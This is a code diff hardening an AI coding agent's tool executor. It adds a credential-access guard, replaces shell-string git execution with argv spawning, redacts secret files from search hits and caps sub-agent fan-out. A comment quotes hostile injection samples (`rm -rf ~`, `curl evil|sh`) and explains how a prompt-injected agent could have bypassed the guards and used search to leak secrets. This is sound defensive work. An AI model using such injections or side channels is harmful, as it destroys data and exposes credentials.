+ // customizations), this safety surface stays on under --safe-mode by design.
1128
+ if (!ruleAllowed && (name === "read_file" || name === "run_shell")) {
1129
+ const {
1130
+ credentialFileReason,
1131
+ commandReadsCredentials,
1132
+ credentialGuardDisabled,
1133
+ } = await import("../lib/credential-guard.js");
1134
+ if (!credentialGuardDisabled(process.env)) {
1135
+ let credReason = null;
1136
+ if (name === "read_file" && args?.path) {
1137
+ credReason = credentialFileReason(args.path);
1138
+ } else if (name === "run_shell" && args?.command) {
1139
+ const hit = commandReadsCredentials(args.command);
1140
+ credReason = hit ? hit.reason : null;
1141
+ }
1142
+ if (credReason) {
1143
+ const confirm =
1144
+ context.permissionConfirm || context.shellConfirm || null;
1145
+ const ok =
1146
+ typeof confirm === "function"
1147
+ ? await confirm({
1148
+ tool: name,
1149
+ args,
1150
+ rule: null,
1151
+ reason: `credential access: ${credReason}`,
1152
+ })
1153
+ : false;
1154
+ if (!ok) {
1155
+ const what =
1156
+ name === "read_file" ? `Reading "${args.path}"` : "This command";
1157
+ return {
1158
+ error: `[Credential Guard] ${what} accesses secrets (${credReason}) and requires confirmation — denied. Add a settings allow rule, or set CC_CREDENTIAL_GUARD=0 to bypass.`,
1159
+ policy: { decision: "ask", via: "credential-guard" },
1160
+ };
1161
+ }
1162
+ }
1163
+ }
1164
+ }
1165
+
1032
1166
  // Plan mode: check if tool is allowed (a settings `allow` rule pre-authorizes)
1033
1167
  if (
1034
1168
  planManager.isActive() &&
@@ -1109,6 +1243,7 @@ export async function executeTool(name, args, context = {}) {
1109
1243
  additionalDirectories: context.additionalDirectories || null,
1110
1244
  ruleAllowed,
1111
1245
  subAgentDepth: context.subAgentDepth || 0,
1246
+ subAgentBudget: context.subAgentBudget || null,
1112
1247
  interactiveApproval: context.interactiveApproval || false,
1113
1248
  });
1114
1249
  } catch (err) {
@@ -1480,6 +1615,7 @@ async function executeToolInner(
1480
1615
  additionalDirectories,
1481
1616
  ruleAllowed = false,
1482
1617
  subAgentDepth = 0,
1618
+ subAgentBudget = null,
1483
1619
  interactiveApproval = false,
1484
1620
  },
1485
1621
  ) {
@@ -1748,6 +1884,10 @@ async function executeToolInner(
1748
1884
  // polls output + completion via check_shell. No timeout — that's the whole
1749
1885
  // point of backgrounding (builds, test suites, dev servers).
1750
1886
  if (args.run_in_background === true) {
1887
+ // Free memory from idle background tasks before adding another, so a
1888
+ // long agent run can't accumulate forgotten dev servers (no-op unless
1889
+ // the machine is actually under memory pressure).
1890
+ reapIdleBackgroundShellTasks();
1751
1891
  const id = `bg_${++_backgroundTaskSeq}`;
1752
1892
  const task = {
1753
1893
  id,
@@ -1758,6 +1898,7 @@ async function executeToolInner(
1758
1898
  signal: null,
1759
1899
  error: null,
1760
1900
  startedAt: new Date().toISOString(),
1901
+ lastActivityAt: Date.now(),
1761
1902
  endedAt: null,
1762
1903
  out: _newBgStream(),
1763
1904
  err: _newBgStream(),
@@ -1789,11 +1930,17 @@ async function executeToolInner(
1789
1930
  task.child = child;
1790
1931
  if (child.stdout) {
1791
1932
  child.stdout.setEncoding("utf8");
1792
- child.stdout.on("data", (d) => _appendBgStream(task.out, d));
1933
+ child.stdout.on("data", (d) => {
1934
+ task.lastActivityAt = Date.now();
1935
+ _appendBgStream(task.out, d);
1936
+ });
1793
1937
  }
1794
1938
  if (child.stderr) {
1795
1939
  child.stderr.setEncoding("utf8");
1796
- child.stderr.on("data", (d) => _appendBgStream(task.err, d));
1940
+ child.stderr.on("data", (d) => {
1941
+ task.lastActivityAt = Date.now();
1942
+ _appendBgStream(task.err, d);
1943
+ });
1797
1944
  }
1798
1945
  child.on("error", (err) => {
1799
1946
  task.status = "error";
@@ -1924,27 +2071,44 @@ async function executeToolInner(
1924
2071
  });
1925
2072
  }
1926
2073
 
1927
- try {
1928
- const output = execSync(`git ${normalizedCommand}`, {
1929
- cwd: args.cwd || cwd,
1930
- encoding: "utf8",
1931
- timeout: 60000,
1932
- maxBuffer: 1024 * 1024,
1933
- });
2074
+ // Run via argv (spawnSync, NO shell) so shell metacharacters in the
2075
+ // command e.g. `status; rm -rf ~`, `log && curl evil|sh`, `$(…)` —
2076
+ // cannot inject a second command. Previously execSync(`git ${cmd}`) ran
2077
+ // the whole string through a shell, and the destructive-git/credential/
2078
+ // run_shell guards only inspect the first token, so this was an arbitrary
2079
+ // command-execution bypass for a prompt-injected agent. Quoted args (a
2080
+ // commit message) keep their content via the quote-aware tokenizer.
2081
+ const gitArgs = tokenizeShellWords(normalizedCommand);
2082
+ const res = spawnSync("git", gitArgs, {
2083
+ cwd: args.cwd || cwd,
2084
+ encoding: "utf8",
2085
+ timeout: 60000,
2086
+ maxBuffer: 1024 * 1024,
2087
+ windowsHide: true,
2088
+ });
2089
+ const readOnly = isReadOnlyGitCommand(normalizedCommand);
2090
+ if (res.error) {
1934
2091
  return attachDescriptor({
1935
- stdout: output.substring(0, 30000),
2092
+ error: String(res.error.message || res.error).substring(0, 2000),
1936
2093
  command: normalizedCommand,
1937
- readOnly: isReadOnlyGitCommand(normalizedCommand),
2094
+ readOnly,
1938
2095
  });
1939
- } catch (err) {
2096
+ }
2097
+ if (res.status !== 0) {
2098
+ const stderr = String(res.stderr || "").substring(0, 2000);
1940
2099
  return attachDescriptor({
1941
- error: err.message.substring(0, 2000),
1942
- stderr: (err.stderr || "").substring(0, 2000),
1943
- exitCode: err.status,
2100
+ error: stderr || `git exited with code ${res.status}`,
2101
+ stderr,
2102
+ exitCode: res.status,
1944
2103
  command: normalizedCommand,
1945
- readOnly: isReadOnlyGitCommand(normalizedCommand),
2104
+ readOnly,
1946
2105
  });
1947
2106
  }
2107
+ return attachDescriptor({
2108
+ stdout: String(res.stdout || "").substring(0, 30000),
2109
+ command: normalizedCommand,
2110
+ readOnly,
2111
+ });
1948
2112
  }
1949
2113
 
1950
2114
  case "run_code": {
@@ -1994,6 +2158,7 @@ async function executeToolInner(
1994
2158
  sessionId,
1995
2159
  llmOptions,
1996
2160
  subAgentDepth,
2161
+ subAgentBudget,
1997
2162
  }),
1998
2163
  );
1999
2164
  }
@@ -2144,8 +2309,19 @@ async function executeToolInner(
2144
2309
  ? `dir /s /b *${args.pattern}* 2>NUL`
2145
2310
  : `find . -name "*${args.pattern}*" -type f 2>/dev/null | head -20`;
2146
2311
 
2312
+ // Credential guard (Claude-Code 2.1.189 parity): a CONTENT search must not
2313
+ // become a side channel that exfils secrets the read_file / run_shell
2314
+ // guards already block. Windows `findstr /n` embeds the matching LINE
2315
+ // (e.g. `API_KEY=…` from a .env); POSIX `grep -l` returns only names. Any
2316
+ // hit whose source is a credential file is redacted to an existence-only
2317
+ // marker — the agent must read_file (confirm-gated) to view it.
2318
+ const { credentialFileReason } = isContent
2319
+ ? await import("../lib/credential-guard.js")
2320
+ : { credentialFileReason: () => null };
2321
+
2147
2322
  const hits = [];
2148
2323
  const seen = new Set();
2324
+ const redactedCreds = new Set();
2149
2325
  for (const root of roots) {
2150
2326
  if (hits.length >= 20) break;
2151
2327
  try {
@@ -2158,6 +2334,16 @@ async function executeToolInner(
2158
2334
  for (const line of output.trim().split("\n")) {
2159
2335
  const v = line.trim();
2160
2336
  if (!v || seen.has(v)) continue;
2337
+ if (isContent) {
2338
+ // content hit is `file:line:text` (findstr /n) or a bare filename
2339
+ // (grep -l); pull the source file and redact credential matches.
2340
+ const src = v.match(/^(.+?):\d+:/)?.[1] ?? v;
2341
+ if (credentialFileReason(src)) {
2342
+ redactedCreds.add(src.replace(/\\/g, "/"));
2343
+ seen.add(v);
2344
+ continue;
2345
+ }
2346
+ }
2161
2347
  // Qualify with the root so multi-root results stay unambiguous.
2162
2348
  const labeled = roots.length > 1 ? `${root}: ${v}` : v;
2163
2349
  seen.add(v);
@@ -2169,6 +2355,14 @@ async function executeToolInner(
2169
2355
  }
2170
2356
  }
2171
2357
 
2358
+ // One existence-only marker per credential file (never its contents).
2359
+ for (const f of redactedCreds) {
2360
+ if (hits.length >= 20) break;
2361
+ hits.push(
2362
+ `<credential file ${f}: matches redacted — use read_file (requires confirmation) to view>`,
2363
+ );
2364
+ }
2365
+
2172
2366
  if (hits.length === 0) {
2173
2367
  return attachDescriptor({ files: [], message: "No matches found" });
2174
2368
  }
@@ -2659,6 +2853,18 @@ async function _executeRunCode(args, cwd) {
2659
2853
  */
2660
2854
  export const MAX_SUB_AGENT_DEPTH = 5;
2661
2855
 
2856
+ /**
2857
+ * Max TOTAL sub-agents a single run may spawn across the whole tree. The depth
2858
+ * cap bounds how DEEP nesting goes (5), but not how WIDE: every level could fan
2859
+ * out many children, each with its own fresh iteration budget, so depth-cap
2860
+ * alone leaves total work ~budget^depth in a runaway/adversarial case. A shared
2861
+ * counter (threaded by reference through the tool context, like subAgentDepth)
2862
+ * gives a hard ceiling on the whole tree. Generous enough for legitimate
2863
+ * fan-out delegation; a model that blows past it is looping. Override per run
2864
+ * with `options.subAgentBudget`.
2865
+ */
2866
+ export const MAX_SUB_AGENTS_PER_RUN = 32;
2867
+
2662
2868
  /**
2663
2869
  * Per-tool-result character cap fed back to the model. One giant tool output (a
2664
2870
  * huge file, a verbose command, an MCP blob) must not blow the context window —
@@ -2689,6 +2895,39 @@ export function capToolResultString(serialized, max = MAX_TOOL_RESULT_CHARS) {
2689
2895
  );
2690
2896
  }
2691
2897
 
2898
+ /**
2899
+ * Serialize a tool result for the transcript without ever throwing. A plain
2900
+ * `JSON.stringify` throws on a circular reference, a BigInt, or a value whose
2901
+ * `toJSON` throws — and that call sits OUTSIDE executeTool's try/catch, so one
2902
+ * odd tool result would crash the whole agent turn. The happy path is identical
2903
+ * to `JSON.stringify` (returns its value verbatim, including `undefined`, which
2904
+ * `capToolResultString` already normalizes); only a throw falls back to a
2905
+ * circular- and BigInt-safe pass, then a last-resort string form.
2906
+ */
2907
+ export function safeStringifyToolResult(value) {
2908
+ try {
2909
+ return JSON.stringify(value);
2910
+ } catch {
2911
+ try {
2912
+ const seen = new WeakSet();
2913
+ return JSON.stringify(value, (_k, v) => {
2914
+ if (typeof v === "bigint") return v.toString();
2915
+ if (v && typeof v === "object") {
2916
+ if (seen.has(v)) return "[Circular]";
2917
+ seen.add(v);
2918
+ }
2919
+ return v;
2920
+ });
2921
+ } catch {
2922
+ try {
2923
+ return String(value);
2924
+ } catch {
2925
+ return "[unserializable tool result]";
2926
+ }
2927
+ }
2928
+ }
2929
+ }
2930
+
2692
2931
  /**
2693
2932
  * Execute a spawn_sub_agent tool call.
2694
2933
  * Creates an isolated SubAgentContext, runs it, and returns only the summary.
@@ -2705,6 +2944,22 @@ async function _executeSpawnSubAgent(args, ctx) {
2705
2944
  error: `spawn_sub_agent: max nesting depth (${MAX_SUB_AGENT_DEPTH}) reached — complete the task directly instead of delegating further.`,
2706
2945
  };
2707
2946
  }
2947
+ // Breadth cap: a shared counter (one object for the whole tree) bounds the
2948
+ // TOTAL sub-agents a run may spawn, so a wide fan-out can't blow up even
2949
+ // within the depth limit. Refuse + count BEFORE any work so the increment
2950
+ // can't be skipped by a later error.
2951
+ const subAgentBudget = ctx.subAgentBudget || null;
2952
+ if (subAgentBudget) {
2953
+ const max = Number.isFinite(subAgentBudget.max)
2954
+ ? subAgentBudget.max
2955
+ : MAX_SUB_AGENTS_PER_RUN;
2956
+ if ((subAgentBudget.spawned || 0) >= max) {
2957
+ return {
2958
+ error: `spawn_sub_agent: max sub-agents per run (${max}) reached — complete remaining work directly instead of delegating further.`,
2959
+ };
2960
+ }
2961
+ subAgentBudget.spawned = (subAgentBudget.spawned || 0) + 1;
2962
+ }
2708
2963
  let {
2709
2964
  role,
2710
2965
  task,
@@ -2807,6 +3062,9 @@ async function _executeSpawnSubAgent(args, ctx) {
2807
3062
  profile: profile || null,
2808
3063
  llmOptions: subLlmOptions,
2809
3064
  depth: currentDepth + 1, // nested spawns see their own level
3065
+ // Same shared counter object so the child's own spawns draw from the run's
3066
+ // single total-sub-agent pool (breadth cap spans the whole tree).
3067
+ subAgentBudget: ctx.subAgentBudget || null,
2810
3068
  });
2811
3069
 
2812
3070
  const emit = (type, payload) => {
@@ -2824,15 +3082,26 @@ async function _executeSpawnSubAgent(args, ctx) {
2824
3082
  }
2825
3083
  };
2826
3084
 
3085
+ // Resolve the registry ONCE before the try so the failure path can also move
3086
+ // the sub-agent out of `_active` (the success path does this via complete()).
3087
+ const { SubAgentRegistry } =
3088
+ await import("../lib/sub-agent-registry.js").catch(() => ({
3089
+ SubAgentRegistry: null,
3090
+ }));
3091
+ let registry = null;
3092
+ if (SubAgentRegistry) {
3093
+ try {
3094
+ registry = SubAgentRegistry.getInstance();
3095
+ } catch (_err) {
3096
+ registry = null; // registry unavailable — non-critical
3097
+ }
3098
+ }
3099
+
2827
3100
  try {
2828
3101
  // Notify registry if available
2829
- const { SubAgentRegistry } =
2830
- await import("../lib/sub-agent-registry.js").catch(() => ({
2831
- SubAgentRegistry: null,
2832
- }));
2833
- if (SubAgentRegistry) {
3102
+ if (registry) {
2834
3103
  try {
2835
- SubAgentRegistry.getInstance().register(subCtx);
3104
+ registry.register(subCtx);
2836
3105
  } catch (_err) {
2837
3106
  // Registry not available — non-critical
2838
3107
  }
@@ -2848,9 +3117,9 @@ async function _executeSpawnSubAgent(args, ctx) {
2848
3117
  const result = await subCtx.run(task);
2849
3118
 
2850
3119
  // Complete in registry
2851
- if (SubAgentRegistry) {
3120
+ if (registry) {
2852
3121
  try {
2853
- SubAgentRegistry.getInstance().complete(subCtx.id, result);
3122
+ registry.complete(subCtx.id, result);
2854
3123
  } catch (_err) {
2855
3124
  // Non-critical
2856
3125
  }
@@ -2879,6 +3148,18 @@ async function _executeSpawnSubAgent(args, ctx) {
2879
3148
  } catch (err) {
2880
3149
  subCtx.forceComplete(err.message);
2881
3150
 
3151
+ // Move the failed sub-agent out of the registry's `_active` Map into bounded
3152
+ // history (mirrors the success path). Without this, a sub-agent whose run()
3153
+ // threw outside its own try (setup/summarize error) lingers in `_active`
3154
+ // forever and over-reports as "active" to monitors/UI.
3155
+ if (registry) {
3156
+ try {
3157
+ registry.complete(subCtx.id, subCtx.result);
3158
+ } catch (_err) {
3159
+ // Non-critical
3160
+ }
3161
+ }
3162
+
2882
3163
  emit("sub-agent.failed", {
2883
3164
  status: subCtx.status,
2884
3165
  error: err.message,
@@ -4099,6 +4380,10 @@ const _CHECKPOINT_READ_ONLY = new Set([
4099
4380
  "search_sessions",
4100
4381
  ]);
4101
4382
 
4383
+ // Rolling cap on auto-checkpoints per agent session — the engine prunes the
4384
+ // oldest beyond this so a long run can't accumulate unbounded refs.
4385
+ const MAX_AUTO_CHECKPOINTS_PER_SESSION = 100;
4386
+
4102
4387
  let _checkpointStoreP = null;
4103
4388
  function _loadCheckpointStore() {
4104
4389
  if (!_checkpointStoreP) {
@@ -4129,6 +4414,10 @@ async function _autoCheckpointBeforeTool(toolContext, toolName, toolArgs) {
4129
4414
  120,
4130
4415
  ),
4131
4416
  skipIfUnchanged: true,
4417
+ // Bound auto-checkpoint history: a rolling safety net of the last N
4418
+ // mutating-tool states. Prevents unbounded ref growth + O(n²) nextId over
4419
+ // a long agentic run (rewinding 100+ tool calls back is already extreme).
4420
+ maxPerSession: MAX_AUTO_CHECKPOINTS_PER_SESSION,
4132
4421
  });
4133
4422
  return res?.id || null;
4134
4423
  } catch {
@@ -4226,6 +4515,13 @@ export async function* agentLoop(messages, options) {
4226
4515
  // Sub-agent nesting level (0 = main loop); spawn_sub_agent caps at
4227
4516
  // MAX_SUB_AGENT_DEPTH using this.
4228
4517
  subAgentDepth: options.subAgentDepth || 0,
4518
+ // Shared TOTAL-sub-agent counter for the whole run. Reuse the parent's
4519
+ // instance (passed by reference) so every nested level draws from one pool;
4520
+ // the main loop seeds it. Bounds breadth, complementing the depth cap.
4521
+ subAgentBudget: options.subAgentBudget || {
4522
+ spawned: 0,
4523
+ max: MAX_SUB_AGENTS_PER_RUN,
4524
+ },
4229
4525
  };
4230
4526
 
4231
4527
  throwIfAborted(signal);
@@ -4663,7 +4959,9 @@ export async function* agentLoop(messages, options) {
4663
4959
  // Cap an individual tool result so one giant output can't blow the
4664
4960
  // context — but tell the model when we cut it (no more silent
4665
4961
  // mid-content slice). See MAX_TOOL_RESULT_CHARS / capToolResultString.
4666
- const resultStr = capToolResultString(JSON.stringify(toolResult));
4962
+ const resultStr = capToolResultString(
4963
+ safeStringifyToolResult(toolResult),
4964
+ );
4667
4965
  const toolContent = warningMsg
4668
4966
  ? `${resultStr}\n\n${warningMsg}`
4669
4967
  : resultStr;